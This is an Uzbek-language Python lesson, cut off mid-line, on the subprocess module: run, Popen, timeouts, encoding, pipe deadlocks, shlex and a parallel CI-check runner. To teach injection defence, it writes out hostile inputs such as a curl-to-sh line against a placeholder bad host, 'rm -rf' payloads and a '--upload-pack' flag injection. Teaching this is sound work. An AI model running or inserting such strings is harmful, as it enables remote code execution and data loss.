Python kursi/Standart kutubxona14/16-dars22 daqiqa

Mundarija (20)

15.14-dars: `subprocess`

15-QISM — STANDART KUTUBXONA · 14-dars

1. Kirish va motivatsiya

Python hamma narsani o'zi qilishi shart emas. git, ffmpeg, pg_dump, docker, kompilyatorlar, boshqa tillarda yozilgan dasturlar — ularni Python'dan alohida jarayon sifatida ishga tushirish, natijasini o'qish va xatosini tushunish kerak. Buning standart vositasi — subprocess.

Real vaziyat. Ichki admin panelda "fayl hajmini ko'rish" tugmasi bor edi:

python

natija = subprocess.run(f"du -sh /srv/fayllar/{nom}", shell=True, capture_output=True, text=True)

Kimdir fayl nomi o'rniga x; curl http://yomon.sayt/skript | sh yubordi. shell=True tufayli ; dan keyingi qism alohida buyruq sifatida bajarildi — serverga zararli dastur o'rnatildi. Bu shell injection (buyruq in'ektsiyasi).

Boshqa jamoa zaxira skriptida pg_dump ni chaqirib, natijani tekshirmagan: baza paroli o'zgargach pg_dump xato bilan tugadi, skript esa bo'sh faylni "muvaffaqiyatli zaxira" deb saqladi. Uchinchi jamoaning skripti katta chiqish beradigan dasturni kutib, abadiy osilib qoldi.

Bu darsda subprocess ni xavfsiz va ishonchli ishlatishni o'rganamiz: argumentlar ro'yxati, chiqish kodlari, oqimlar, muddatlar va parallel jarayonlar.

Bu darsda:

subprocess.run: capture_output, text, check, timeout, input, cwd, env
CompletedProcess va CalledProcessError
Dastur topilmasa, muddat tugasa — istisnolar
shell=True va buyruq in'ektsiyasi; shlex
Kodlash: text=True, encoding, errors
Popen: oqimli o'qish, parallel jarayonlar, communicate, to'xtatish
Pipe to'lib qolishi va deadlock
Amaliy: parallel tekshiruvlarni ishga tushiruvchi (mini CI)

2. Nazariya — chuqur tushuntirish

2.1. `subprocess.run`

python

natija = subprocess.run(
    ["git", "log", "-1", "--format=%H"],   # ⭐ ro'yxat: dastur + argumentlar
    capture_output=True,                  # stdout va stderr ni ushlash
    text=True,                            # bytes emas, str
    check=True,                           # kod != 0 bo'lsa istisno
    timeout=30,                           # soniyalar
    cwd="/srv/loyiha",                    # ishchi katalog
)
natija.stdout, natija.stderr, natija.returncode, natija.args

Parametr	Sukut	Ma'nosi
`capture_output`	`False`	`True` — `stdout`/`stderr` ushlanadi; aks holda ota jarayon terminaliga chiqadi
`text`	`False`	`True` — `str`; aks holda `bytes`
`encoding` / `errors`	Tizim kodlashi	`encoding="utf-8"`, `errors="replace"` — aniq kodlash
`check`	`False`	`False` da xato jim — `returncode` ni o'zingiz tekshirasiz
`timeout`	`None`	Oshsa — jarayon o'ldiriladi va `TimeoutExpired`
`input`	`None`	`stdin` ga yuboriladigan ma'lumot
`cwd`	Joriy katalog	Bola jarayonning ishchi katalogi
`env`	Ota muhiti	To'liq almashtiradi — `{**os.environ, ...}` (15.11)

2.2. Natija va xatolar

Holat	Nima bo'ladi
Kod 0	`CompletedProcess`
Kod ≠ 0, `check=False`	`CompletedProcess`, `returncode` ≠ 0 — jim
Kod ≠ 0, `check=True`	`CalledProcessError` — `.returncode`, `.stdout`, `.stderr`, `.cmd`
Dastur topilmadi	`FileNotFoundError`
Muddat tugadi	`TimeoutExpired` — jarayon o'ldirilgan
Ruxsat yo'q	`PermissionError`

Qoida: check=True ni sukut qiling; xatoni kutgan holatlarda (masalan, grep topilmasa 1) — returncode ni aniq tekshiring. CalledProcessError ni ushlaganda stderr ni jurnalga yozing — sabab o'sha yerda.

2.3. `shell=True` va buyruq in'ektsiyasi

Shakl	Kim argumentlarni ajratadi	Xavf
`run(["du", "-sh", yol])`	Hech kim — har element bitta argument	Yo'q
`run(f"du -sh {yol}", shell=True)`	Qobiq (`sh`, `cmd.exe`)	`;`, `&&`, `

python

nom = "x && curl yomon.sayt | sh"
subprocess.run(f"echo {nom}", shell=True)      # ❌ ikkinchi buyruq bajariladi
subprocess.run(["echo", nom])                  # ✅ nom — bitta argument (POSIX)

shell=True qachon kerak: qobiq imkoniyatlari (|, >, * glob, qobiq ichki buyruqlari) va buyruq to'liq sizning nazoratingizda bo'lsa. Aksariyat hollarda ular ham Python'da qilinadi: pathlib.glob, stdout=fayl, bir nechta run.

shlex (POSIX qobiq qoidalari):

Funksiya	Misol
`shlex.split('git commit -m "a b"')`	`['git', 'commit', '-m', 'a b']`
`shlex.quote("fayl; rm -rf ~")`	`"'fayl; rm -rf ~'"` — xavfsiz bitta argument
`shlex.join(["echo", "a b"])`	`"echo 'a b'"` — jurnal va ko'rsatish uchun

shlex.quote — POSIX qobiqlari uchun; Windows cmd.exe qoidalari boshqacha. Eng ishonchli yo'l — ro'yxat shakli, shell=False.

Ro'yxat shakli ham argument ma'nosini himoya qilmaydi: ["git", "checkout", foydalanuvchi_satr] da satr --upload-pack=... kabi bayroq bo'lishi mumkin. Tashqi qiymatdan oldin -- qo'ying (dastur qo'llasa) va qiymatni tekshiring.

2.4. Kodlash

Sozlama	Natija
`text=False`	`bytes` — o'zingiz dekodlaysiz
`text=True`	Tizim lokali kodlashi — Windows'da `cp1251`/`cp65001` bo'lishi mumkin
`encoding="utf-8"`	Aniq
`errors="replace"`	Noto'g'ri baytlar `�` bo'ladi, `UnicodeDecodeError` emas

Bola jarayon Python bo'lsa: env={**os.environ, "PYTHONUTF8": "1"} uning chiqishini UTF-8 qiladi.

2.5. `Popen` — past daraja

run = Popen + communicate + wait. Popen kerak bo'ladi:

Vazifa	Usul
Chiqishni jarayon davomida qatorma-qator o'qish	`for qator in p.stdout`
Bir nechta jarayonni parallel ishga tushirish	Bir nechta `Popen`, keyin `wait`
Jarayonni to'xtatish	`p.terminate()` (yumshoq), `p.kill()` (majburiy)
Holatni tekshirish	`p.poll()` — tugagan bo'lsa kod, aks holda `None`
Kiritish va chiqish birga	`p.communicate(input, timeout)`

2.6. Pipe to'lib qolishi

Operatsion tizim pipe buferi cheklangan (odatda 4–64 KB). Agar bola jarayon stdout ga ko'p yozsa va ota jarayon uni o'qimasa — bola yozishda bloklanadi. Ota esa p.wait() da bolani kutadi → deadlock.

Xavfli	Xavfsiz
`p = Popen(..., stdout=PIPE); p.wait()`	`p.communicate()` yoki `run(...)`
`stdout=PIPE, stderr=PIPE` va faqat birini o'qish	`communicate()` — ikkalasini parallel o'qiydi
Ushlanmaydigan katta chiqish	`stdout=subprocess.DEVNULL` yoki faylga

Boshqa belgilar:

stderr=subprocess.STDOUT — ikkala oqimni birlashtirish (tartib buferlash tufayli aralashishi mumkin)
Bola Python bo'lsa, pipe da stdout buferlanadi — jonli o'qish uchun -u yoki flush=True

3. Tez ma'lumotnoma

python

import subprocess, shutil, shlex

git = shutil.which("git") or sys.exit("git o'rnatilmagan")
natija = subprocess.run([git, "status", "--short"], capture_output=True, text=True,
                        encoding="utf-8", check=True, timeout=30, cwd=loyiha)

try:
    subprocess.run(buyruq, check=True, capture_output=True, text=True, timeout=60)
except subprocess.CalledProcessError as x:
    log.error("kod %s: %s", x.returncode, x.stderr)
except subprocess.TimeoutExpired:
    log.error("muddat tugadi")

with subprocess.Popen(buyruq, stdout=subprocess.PIPE, text=True) as p:
    for qator in p.stdout: ...
shlex.join(buyruq)                     # jurnal uchun

Qoidalar

buyruq — ro'yxat, shell=False
check=True, timeout — doim
xatoda stderr ni jurnalga
text=True bilan encoding="utf-8"
Popen + PIPE — communicate() yoki o'qib borish, wait() emas
tashqi qiymat bayroq bo'lmasin: "--" va tekshiruv

4. Batafsil misollar

Misol 1 — `run` asoslari

python

"""capture_output va text; returncode; check va CalledProcessError; FileNotFoundError; timeout; input; cwd va env; bytes va encoding."""

import os
import subprocess
import sys
import tempfile

PY = sys.executable


def main() -> None:
    print("=== 1. Oddiy ishga tushirish ===")
    natija = subprocess.run([PY, "-c", "print('salom, dunyo')"], capture_output=True, text=True)
    print(f"  turi: {type(natija).__name__}, returncode: {natija.returncode}")
    print(f"  stdout: {natija.stdout!r}, stderr: {natija.stderr!r}")
    ushlanmagan = subprocess.run([PY, "-c", "pass"])
    print(f"  capture_output siz stdout atributi: {ushlanmagan.stdout}")

    print("\n=== 2. ⚠️ check=False — jim xato ===")
    xato_kod = "import sys; print('ulanish rad etildi', file=sys.stderr); sys.exit(4)"
    natija = subprocess.run([PY, "-c", xato_kod], capture_output=True, text=True)
    print(f"  istisno yo'q, returncode={natija.returncode}, stderr={natija.stderr.strip()!r}")

    print("\n=== 3. check=True ===")
    try:
        subprocess.run([PY, "-c", xato_kod], capture_output=True, text=True, check=True)
    except subprocess.CalledProcessError as xato:
        print(f"  CalledProcessError: returncode={xato.returncode}, stderr={xato.stderr.strip()!r}")
        print(f"  cmd uzunligi: {len(xato.cmd)} element")

    print("\n=== 4. Dastur topilmadi va muddat ===")
    try:
        subprocess.run(["bunday-dastur-yoq-123"])
    except FileNotFoundError:
        print("  FileNotFoundError — shutil.which bilan oldindan tekshiring")
    try:
        subprocess.run([PY, "-c", "import time; time.sleep(10)"], timeout=0.5)
    except subprocess.TimeoutExpired as xato:
        print(f"  TimeoutExpired: timeout={xato.timeout} — jarayon o'ldirildi")

    print("\n=== 5. input, cwd, env ===")
    natija = subprocess.run([PY, "-c", "import sys; print(sys.stdin.read().upper())"],
                            input="kirish matni", capture_output=True, text=True, check=True)
    print(f"  input → {natija.stdout.strip()!r}")
    with tempfile.TemporaryDirectory() as katalog:
        natija = subprocess.run([PY, "-c", "import os; print(os.getcwd())"], capture_output=True, text=True, cwd=katalog)
        print(f"  cwd bo'yicha ishladi: {os.path.samefile(natija.stdout.strip(), katalog)}")
    natija = subprocess.run([PY, "-c", "import os; print(os.environ.get('REJIM'))"], capture_output=True, text=True,
                            env={**os.environ, "REJIM": "sinov"})
    print(f"  env → {natija.stdout.strip()!r}")

    print("\n=== 6. bytes va kodlash ===")
    kod = "import sys; sys.stdout.buffer.write('oʻzbek tili\\n'.encode('utf-8'))"
    xom = subprocess.run([PY, "-c", kod], capture_output=True)
    print(f"  text=False: {type(xom.stdout).__name__}, {xom.stdout!r}")
    matn = subprocess.run([PY, "-c", kod], capture_output=True, encoding="utf-8")
    print(f"  encoding='utf-8': {matn.stdout.strip()!r}")
    buzuq = subprocess.run([PY, "-c", "import sys; sys.stdout.buffer.write(b'ok \\xff\\xfe')"], capture_output=True,
                           encoding="utf-8", errors="replace")
    print(f"  errors='replace': {buzuq.stdout!r}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text

=== 1. Oddiy ishga tushirish ===
  turi: CompletedProcess, returncode: 0
  stdout: 'salom, dunyo\n', stderr: ''
  capture_output siz stdout atributi: None

=== 2. ⚠️ check=False — jim xato ===
  istisno yo'q, returncode=4, stderr='ulanish rad etildi'

=== 3. check=True ===
  CalledProcessError: returncode=4, stderr='ulanish rad etildi'
  cmd uzunligi: 3 element

=== 4. Dastur topilmadi va muddat ===
  FileNotFoundError — shutil.which bilan oldindan tekshiring
  TimeoutExpired: timeout=0.5 — jarayon o'ldirildi

=== 5. input, cwd, env ===
  input → 'KIRISH MATNI'
  cwd bo'yicha ishladi: True
  env → 'sinov'

=== 6. bytes va kodlash ===
  text=False: bytes, b'o\xca\xbbzbek tili\n'
  encoding='utf-8': 'oʻzbek tili'
  errors='replace': 'ok ��'

Nima ko'rsatdi: 2.1, 2.2, 2.4-bo'limlar.

Misol 2 — Buyruq in'ektsiyasi va `shlex`

python

"""shell=True bilan in'ektsiya; ro'yxat shakli; shlex.split, quote, join; argument bayroq bo'lib qolishi va '--'."""

import shlex
import subprocess
import sys

PY = sys.executable
ARGV_KORSAT = "import sys; print(sys.argv[1:])"


def main() -> None:
    print("=== 1. ⚠️ shell=True ===")
    nom = "hisobot.txt && echo BUZILDI"
    natija = subprocess.run(f"echo {nom}", shell=True, capture_output=True, text=True)
    qatorlar = [q.strip() for q in natija.stdout.splitlines() if q.strip()]
    print(f"  kiritilgan 'fayl nomi': {nom!r}")
    print(f"  qobiq chiqishi: {qatorlar}")
    print(f"  ikkinchi buyruq bajarildi: {'BUZILDI' in qatorlar}")

    print("\n=== 2. ✅ Ro'yxat shakli ===")
    natija = subprocess.run([PY, "-c", ARGV_KORSAT, nom], capture_output=True, text=True, check=True)
    print(f"  bola jarayon oldi: {natija.stdout.strip()}")
    print("  ⭐ butun satr bitta argument — qobiq yo'q, ajratish yo'q")

    print("\n=== 3. shlex (POSIX qoidalari) ===")
    satr = 'git commit -m "birinchi commit" --author="Aziz K"'
    print(f"  split: {shlex.split(satr)}")
    print(f"  quote: {shlex.quote('fayl; rm -rf ~')}")
    buyruq = ["pg_dump", "--dbname", "wisar", "--file", "zaxira 2026.sql"]
    print(f"  join (jurnal uchun): {shlex.join(buyruq)}")
    print(f"  split(join(x)) == x: {shlex.split(shlex.join(buyruq)) == buyruq}")

    print("\n=== 4. ⚠️ Argument bayroqqa aylanishi ===")
    for qiymat in ("main", "--help", "--output=/etc/passwd"):
        natija = subprocess.run([PY, "-c", ARGV_KORSAT, "checkout", qiymat], capture_output=True, text=True, check=True)
        print(f"  {qiymat!r:24} → {natija.stdout.strip()}  bayroq kabi: {qiymat.startswith('-')}")
    natija = subprocess.run([PY, "-c", ARGV_KORSAT, "checkout", "--", "--help"], capture_output=True, text=True, check=True)
    print(f"  '--' bilan: {natija.stdout.strip()}  ← dastur '--' dan keyingisini nom deb biladi")

    def xavfsiz_filial(nom: str) -> str:
        if nom.startswith("-") or not nom.replace("/", "").replace("-", "").replace("_", "").isalnum():
            raise ValueError(f"noto'g'ri filial nomi: {nom!r}")
        return nom

    for nom in ("feature/login", "--upload-pack=touch /tmp/x", "main; rm -rf /"):
        try:
            print(f"  {nom!r:30} → qabul: {xavfsiz_filial(nom)}")
        except ValueError as xato:
            print(f"  {nom!r:30} → {xato}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text

=== 1. ⚠️ shell=True ===
  kiritilgan 'fayl nomi': 'hisobot.txt && echo BUZILDI'
  qobiq chiqishi: ['hisobot.txt', 'BUZILDI']
  ikkinchi buyruq bajarildi: True

=== 2. ✅ Ro'yxat shakli ===
  bola jarayon oldi: ['hisobot.txt && echo BUZILDI']
  ⭐ butun satr bitta argument — qobiq yo'q, ajratish yo'q

=== 3. shlex (POSIX qoidalari) ===
  split: ['git', 'commit', '-m', 'birinchi commit', '--author=Aziz K']
  quote: 'fayl; rm -rf ~'
  join (jurnal uchun): pg_dump --dbname wisar --file 'zaxira 2026.sql'
  split(join(x)) == x: True

=== 4. ⚠️ Argument bayroqqa aylanishi ===
  'main'                   → ['checkout', 'main']  bayroq kabi: False
  '--help'                 → ['checkout', '--help']  bayroq kabi: True
  '--output=/etc/passwd'   → ['checkout', '--output=/etc/passwd']  bayroq kabi: True
  '--' bilan: ['checkout', '--', '--help']  ← dastur '--' dan keyingisini nom deb biladi
  'feature/login'                → qabul: feature/login
  '--upload-pack=touch /tmp/x'   → noto'g'ri filial nomi: '--upload-pack=touch /tmp/x'
  'main; rm -rf /'               → noto'g'ri filial nomi: 'main; rm -rf /'

Nima ko'rsatdi: 2.3-bo'lim.

Misol 3 — `Popen`: oqim, parallel, to'xtatish

python

"""Qatorma-qator jonli o'qish; -u va buferlash; parallel jarayonlar; poll va terminate; katta chiqish va communicate; DEVNULL."""

import subprocess
import sys
import time

PY = sys.executable
BOSQICHLI = "import time\nfor i in range(1, 4):\n    print(f'bosqich {i}/3', flush=True)\n    time.sleep(0.05)"


def main() -> None:
    print("=== 1. Jonli o'qish ===")
    with subprocess.Popen([PY, "-u", "-c", BOSQICHLI], stdout=subprocess.PIPE, text=True) as p:
        for qator in p.stdout:
            print(f"  olindi: {qator.strip()}")
    print(f"  returncode: {p.returncode}")

    print("\n=== 2. Parallel jarayonlar ===")
    boshlanish = time.perf_counter()
    jarayonlar = [subprocess.Popen([PY, "-c", "import time; time.sleep(0.4)"]) for _ in range(4)]
    kodlar = [p.wait(timeout=10) for p in jarayonlar]
    parallel = time.perf_counter() - boshlanish
    print(f"  4 ta 0.4 s lik jarayon: kodlar {kodlar}, ketma-ket 1.6 s bo'lardi, parallel 1.2 s dan kam: {parallel < 1.2}")

    print("\n=== 3. poll va terminate ===")
    p = subprocess.Popen([PY, "-c", "import time; time.sleep(30)"])
    print(f"  poll() ishlayotganda: {p.poll()}")
    p.terminate()
    kod = p.wait(timeout=10)
    print(f"  terminate dan keyin kod nolga teng emas: {kod != 0}")

    print("\n=== 4. ⚠️ Katta chiqish ===")
    katta = "import sys; sys.stdout.write('x' * 5_000_000); sys.stderr.write('e' * 1_000_000)"
    p = subprocess.Popen([PY, "-c", katta], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
        chiqish, xatolar = p.communicate(timeout=30)
        print(f"  communicate(): stdout {len(chiqish):,} bayt, stderr {len(xatolar):,} bayt".replace(",", " "))
    except subprocess.TimeoutExpired:
        p.kill()
        p.communicate()
        print("  muddat tugadi — kill")
    print("  ⭐ p.wait() bo'lganda bufer to'lib, ikkala jarayon bir-birini kutib qolishi mumkin edi")
    natija = subprocess.run([PY, "-c", katta], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True)
    print(f"  kerak bo'lmasa DEVNULL: kod {natija.returncode}")

    print("\n=== 5. Muddat bilan xavfsiz kutish andozasi ===")

    def ishga_tushir(buyruq: list[str], muddat: float) -> tuple[int | None, str]:
        with subprocess.Popen(buyruq, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) as p:
            try:
                chiqish, _ = p.communicate(timeout=muddat)
                return p.returncode, chiqish.strip()
            except subprocess.TimeoutExpired:
                p.kill()
                chiqish, _ = p.communicate()
                return None, f"muddat tugadi ({muddat} s)"

    print(f"  tez:   {ishga_tushir([PY, '-c', 'print(42)'], 5)}")
    print(f"  sekin: {ishga_tushir([PY, '-c', 'import time; time.sleep(5)'], 0.3)}")


if __name__ == "__main__":
    main()

Natijaning muhim qismi:

text

=== 1. Jonli o'qish ===
  olindi: bosqich 1/3
  olindi: bosqich 2/3
  olindi: bosqich 3/3
  returncode: 0

=== 2. Parallel jarayonlar ===
  4 ta 0.4 s lik jarayon: kodlar [0, 0, 0, 0], ketma-ket 1.6 s bo'lardi, parallel 1.2 s dan kam: True

=== 3. poll va terminate ===
  poll() ishlayotganda: None
  terminate dan keyin kod nolga teng emas: True

=== 4. ⚠️ Katta chiqish ===
  communicate(): stdout 5 000 000 bayt  stderr 1 000 000 bayt
  ⭐ p.wait() bo'lganda bufer to'lib, ikkala jarayon bir-birini kutib qolishi mumkin edi
  kerak bo'lmasa DEVNULL: kod 0

=== 5. Muddat bilan xavfsiz kutish andozasi ===
  tez:   (0, '42')
  sekin: (None, 'muddat tugadi (0.3 s)')

Nima ko'rsatdi: 2.5, 2.6-bo'limlar.

Misol 4 — Amaliy: parallel tekshiruvlarni ishga tushiruvchi (mini CI)

Loyihada bir nechta tekshiruv bor: kod uslubi, testlar, turlar, xavfsizlik. Har biri — alohida dastur. Ishga tushiruvchi ularni parallel bajaradi (bir vaqtda ko'pi bilan 3 ta), har biriga muddat beradi, chiqishning oxirgi qatorlarini saqlaydi, natijani jadvalda ko'rsatadi va bitta ham muvaffaqiyatsiz bo'lsa nol bo'lmagan kod qaytaradi. Tekshiruvlar sinov uchun Python kodi bilan taqlid qilingan (muvaffaqiyat, xato, muddat, dastur topilmasligi, kutilmagan yiqilish).

python

"""Popen bilan cheklangan parallellik; muddat va kill; stdout/stderr oxiri; FileNotFoundError; natijalar jadvali; umumiy chiqish kodi; shlex.join bilan jurnal."""

import shlex
import subprocess
import sys
import time
from concurrent.futures import ThreadPoolExecutor
from dataclasses import dataclass

PY = sys.executable

TEKSHIRUVLAR = {
    "uslub": [PY, "-c", "print('ruff: 42 fayl tekshirildi, xato topilmadi')"],
    "testlar": [PY, "-c", "import sys, time; time.sleep(0.2); print('118 passed, 2 failed'); "
                          "print('FAILED test_tolov.py::test_chegirma', file=sys.stderr); sys.exit(1)"],
    "turlar": [PY, "-c", "import time; time.sleep(0.1); print('Success: no issues found in 37 source files')"],
    "xavfsizlik": [PY, "-c", "import time; time.sleep(5)"],
    "hujjat": ["mkdocs-bunday-yoq", "build", "--strict"],
    "migratsiya": [PY, "-c", "raise RuntimeError('baza sxemasi mos emas')"],
}
MUDDATLAR = {"xavfsizlik": 0.5}


@dataclass(frozen=True)
class Natija:
    nom: str
    holat: str
    kod: int | None
    oxiri: str


def tekshir(nom: str, buyruq: list[str]) -> Natija:
    muddat = MUDDATLAR.get(nom, 20)
    try:
        with subprocess.Popen(buyruq, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                              text=True, encoding="utf-8", errors="replace") as p:
            try:
                chiqish, xatolar = p.communicate(timeout=muddat)
            except subprocess.TimeoutExpired:
                p.kill()
                p.communicate()
                return Natija(nom, "⏱ muddat", None, f"{muddat} s dan oshdi")
    except FileNotFoundError:
        return Natija(nom, "❓ topilmadi", None, f"dastur yo'q: {buyruq[0]}")
    matn = (xatolar.strip() or chiqish.strip()).splitlines()
    oxiri = matn[-1] if matn else ""
    return Natija(nom, "✅ o'tdi" if p.returncode == 0 else "❌ yiqildi", p.returncode, oxiri)


def main() -> int:
    print("=== 1. Rejalashtirilgan buyruqlar ===")
    for nom, buyruq in TEKSHIRUVLAR.items():
        korinish = shlex.join(["python" if b == PY else b for b in buyruq])
        print(f"  {nom:11} {korinish[:70]}{'...' if len(korinish) > 70 else ''}")

    print("\n=== 2. Parallel bajarish (ko'pi bilan 3 ta) ===")
    boshlanish = time.perf_counter()
    with ThreadPoolExecutor(max_workers=3) as ex:
        natijalar = list(ex.map(lambda juft: tekshir(*juft), TEKSHIRUVLAR.items()))
    jami = time.perf_counter() - boshlanish
    for n in natijalar:
        print(f"  {n.nom:11} {n.holat:12} kod={str(n.kod):4} {n.oxiri}")
    print(f"  ketma-ket 0.8+ s bo'lardi, parallel 2 s dan kam: {jami < 2}")

    print("\n=== 3. Xulosa ===")
    yiqilganlar = [n.nom for n in natijalar if n.holat != "✅ o'tdi"]
    print(f"  o'tdi: {len(natijalar) - len(yiqilganlar)}/{len(natijalar)}")
    print(f"  muammolar: {yiqilganlar}")
    kod = 1 if yiqilganlar else 0
    toxtaydi, davom = "to'xtaydi", "davom etadi"
    print(f"  chiqish kodi: {kod} — CI bosqichi {toxtaydi if kod else davom}")
    return kod


if __name__ == "__main__":
    kod = main()
    # haqiqiy vositada: sys.exit(kod) — bu yerda natijani ko'rsatish uchun chaqirilmadi

Natijaning muhim qismi:

text

=== 1. Rejalashtirilgan buyruqlar ===
  uslub       python -c 'print('"'"'ruff: 42 fayl tekshirildi, xato topilmadi'"'"')'
  testlar     python -c 'import sys, time; time.sleep(0.2); print('"'"'118 passed, 2...
  turlar      python -c 'import time; time.sleep(0.1); print('"'"'Success: no issues...
  xavfsizlik  python -c 'import time; time.sleep(5)'
  hujjat      mkdocs-bunday-yoq build --strict
  migratsiya  python -c 'raise RuntimeError('"'"'baza sxemasi mos emas'"'"')'

=== 2. Parallel bajarish (ko'pi bilan 3 ta) ===
  uslub       ✅ o'tdi      kod=0    ruff: 42 fayl tekshirildi, xato topilmadi
  testlar     ❌ yiqildi    kod=1    FAILED test_tolov.py::test_chegirma
  turlar      ✅ o'tdi      kod=0    Success: no issues found in 37 source files
  xavfsizlik  ⏱ muddat     kod=None 0.5 s dan oshdi
  hujjat      ❓ topilmadi  kod=None dastur yo'q: mkdocs-bunday-yoq
  migratsiya  ❌ yiqildi    kod=1    RuntimeError: baza sxemasi mos emas
  ketma-ket 0.8+ s bo'lardi, parallel 2 s dan kam: True

=== 3. Xulosa ===
  o'tdi: 2/6
  muammolar: ['testlar', 'xavfsizlik', 'hujjat', 'migratsiya']
  chiqish kodi: 1 — CI bosqichi to'xtaydi

Nima ko'rsatdi: 2.1, 2.2, 2.5, 2.6-bo'limlar.

5. To'g'ri va noto'g'ri tushunishlar

Noto'g'ri fikr	To'g'risi
"`run` xato bo'lsa istisno beradi"	Faqat `check=True` da
"`shell=True` — shunchaki qulaylik"	Buyruq in'ektsiyasi eshigi
"Ro'yxat shakli hamma xavfni yo'qotadi"	Argument bayroq bo'lib qolishi mumkin — `--` va tekshiruv
"`shlex.quote` Windows'da ham himoya qiladi"	POSIX qobiqlari uchun
"`text=True` doim UTF-8"	Tizim lokali — `encoding` bering
"`timeout` faqat kutishni to'xtatadi"	`run` jarayonni ham o'ldiradi
"`Popen(..., stdout=PIPE).wait()` xavfsiz"	Katta chiqishda deadlock
"Bola Python chiqishi darhol keladi"	Pipe da buferlanadi — `-u` yoki `flush=True`

6. Keng tarqalgan xatolar va yechimlari

1. shell=True va foydalanuvchi qiymati

python

subprocess.run(f"du -sh {yol}", shell=True)     # ❌
subprocess.run(["du", "-sh", yol], check=True)  # ✅

2. Natijani tekshirmaslik

python

subprocess.run(["pg_dump", ...])                # ❌ xato jim
subprocess.run(["pg_dump", ...], check=True, capture_output=True, text=True)   # ✅

3. Muddatsiz tashqi dastur

python

subprocess.run(["curl", url])                   # ⚠️ abadiy kutishi mumkin
subprocess.run(["curl", url], timeout=30, check=True)   # ✅

4. stderr ni yo'qotish

python

except subprocess.CalledProcessError:
    log.error("xato")                           # ❌ sabab noma'lum
except subprocess.CalledProcessError as x:
    log.error("kod %s: %s", x.returncode, x.stderr)   # ✅

5. Deadlock

python

p = Popen(cmd, stdout=PIPE); p.wait()           # ❌
out, err = p.communicate(timeout=60)            # ✅

6. Kodlash

python

subprocess.run(cmd, capture_output=True, text=True)   # ⚠️ Windows'da UnicodeDecodeError
subprocess.run(cmd, capture_output=True, encoding="utf-8", errors="replace")   # ✅

7. Dastur mavjudligini tekshirmaslik

python

subprocess.run(["ffmpeg", ...])                 # ⚠️ FileNotFoundError chuqurda
if shutil.which("ffmpeg") is None: sys.exit("ffmpeg o'rnatilmagan")   # ✅

8. Python ichidagi ish uchun jarayon

python

subprocess.run(["mkdir", "-p", yol])            # ❌ platformaga bog'liq, sekin
Path(yol).mkdir(parents=True, exist_ok=True)    # ✅

7. Integratsiya — bu bilim qayerda kerak bo'ladi

14.4, 14.7-darslar (o'tilgan): jarayonlar, asyncio.create_subprocess_exec
15.11-dars (o'tilgan): chiqish kodlari, env, stdout/stderr
15.13-dars (o'tilgan): shutil.which
15.15-dars: argparse — o'z CLI dasturingiz
15.16-dars: logging — buyruqlar va xatolarni jurnalga yozish
18-qism: vositalarni (ruff, mypy, pytest) avtomatlashtirish
30.2-dars: subprocess bilan boshqa tillardagi dasturlarni chaqirish
28.7–28.8-darslar: CI/CD — avtomatik test va chiqarish skriptlari

8. Eng yaxshi amaliyotlar

Buyruq — ro'yxat, shell=False.
check=True va timeout — sukut.
Xatoda returncode va stderr ni jurnalga yozing.
encoding="utf-8", kerak bo'lsa errors="replace".
Tashqi qiymatlar: tekshiruv, --, bayroq bo'lmasligi.
Popen + PIPE — communicate() bilan.
Dasturni shutil.which bilan oldindan toping.
Python o'zi qila oladigan ishni jarayon bilan qilmang.

9. Amaliy topshiriq

Vazifa 1: Natijani bashorat qiling

python

import subprocess, sys, shlex
PY = sys.executable
1.  print(subprocess.run([PY, "-c", "print(1)"], capture_output=True, text=True).stdout)
2.  print(subprocess.run([PY, "-c", "import sys; sys.exit(3)"]).returncode)
3.  print(type(subprocess.run([PY, "-c", "print(1)"], capture_output=True).stdout).__name__)
4.  print(subprocess.run([PY, "-c", "pass"]).stdout)
5.  print(shlex.split('a "b c" d'))
6.  print(shlex.join(["a", "b c"]))
7.  print(issubclass(subprocess.CalledProcessError, subprocess.SubprocessError))
8.  print(issubclass(subprocess.TimeoutExpired, subprocess.SubprocessError))
9.  try:
        subprocess.run([PY, "-c", "import sys; sys.exit(2)"], check=True)
    except subprocess.CalledProcessError as e:
        print(e.returncode)
10. print(subprocess.run([PY, "-c", "import sys; print(sys.stdin.read())"], input="x", capture_output=True, text=True).stdout.strip())
11. print(subprocess.run([PY, "-c", "import sys; print(len(sys.argv))", "a b", "c"], capture_output=True, text=True).stdout.strip())
12. print(shlex.quote("oddiy"))

Javoblar

1 (va yangi qator)
3
bytes
None
['a', 'b c', 'd']
a 'b c'
True
True
2
x
3 — -c, a b, c
oddiy — xavfsiz satr qo'shtirnoqsiz qoladi

Vazifa 2: Xatolarni tuzating

python

1.  def fayl_hajmi(nom):
        return subprocess.run(f"du -sh uploads/{nom}", shell=True, capture_output=True, text=True).stdout

2.  def zaxira():
        subprocess.run(["pg_dump", "wisar", "-f", "zaxira.sql"])
        print("zaxira tayyor")

3.  def jurnal_oqi(buyruq):
        p = subprocess.Popen(buyruq, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        p.wait()
        return p.stdout.read()

4.  def git_filial(nom):
        subprocess.run(["git", "checkout", nom], check=True)   # nom foydalanuvchidan

5.  def versiya():
        return subprocess.run(["node", "--version"], capture_output=True, text=True).stdout.strip()

Javoblar

python

1.  def fayl_hajmi(nom):
        yol = (Path("uploads") / nom).resolve()
        if not yol.is_relative_to(Path("uploads").resolve()):
            raise PermissionError(nom)
        return subprocess.run(["du", "-sh", str(yol)], capture_output=True, text=True,
                              check=True, timeout=30).stdout

2.  def zaxira():
        try:
            subprocess.run(["pg_dump", "wisar", "-f", "zaxira.sql"], check=True,
                           capture_output=True, text=True, timeout=3600)
        except subprocess.CalledProcessError as x:
            print(f"zaxira xatosi ({x.returncode}): {x.stderr}", file=sys.stderr)
            raise
        print("zaxira tayyor")

3.  def jurnal_oqi(buyruq):
        natija = subprocess.run(buyruq, capture_output=True, timeout=60)
        return natija.stdout

4.  def git_filial(nom):
        if nom.startswith("-") or not re.fullmatch(r"[\w./-]+", nom):
            raise ValueError(f"noto'g'ri filial: {nom!r}")
        subprocess.run(["git", "checkout", nom, "--"], check=True, timeout=60)

5.  def versiya():
        node = shutil.which("node")
        if node is None:
            return None
        return subprocess.run([node, "--version"], capture_output=True, text=True,
